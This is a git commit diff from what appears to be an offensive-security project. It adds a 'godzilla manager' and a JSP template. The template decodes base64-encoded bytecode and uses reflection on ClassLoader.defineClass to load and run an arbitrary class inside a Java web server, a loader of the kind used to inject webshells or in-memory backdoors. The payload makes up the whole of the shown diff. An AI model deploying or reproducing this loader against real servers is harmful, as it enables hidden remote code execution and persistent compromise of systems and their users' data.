feat: add godzilla manager and integration container test

2026-09-22 07:00:43 +08:00 · 2024-11-27 00:36:38 +08:00
parent e718af7440
commit 7fa4dee03b
14 changed files with 2563 additions and 19 deletions
@@ -0,0 +1,36 @@
+<%!
+    public byte[] decodeBase64(String bytecodeBase64) {
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        try {
+            Class<?> base64Clz = classLoader.loadClass("java.util.Base64");
+            Class<?> decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
+            Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
+            return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64);
+        } catch (Exception ee) {
+            try {
+                Class<?> datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
+                return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64);
+            } catch (Exception e) {
+                return null;
+            }
+        }
+    }
+%>
+
+<%
+    String className = "{{className}}";
+    String base64Str = "{{base64Str}}";
+    ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+    try {
+        classLoader.loadClass(className).newInstance();
+    } catch (Exception e) {
+        try {
+            java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            byte[] bytecode = decodeBase64(base64Str);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, bytecode, 0, bytecode.length);
+            clazz.newInstance();
+        } catch (Exception ignored) {
+        }
+    }
+%>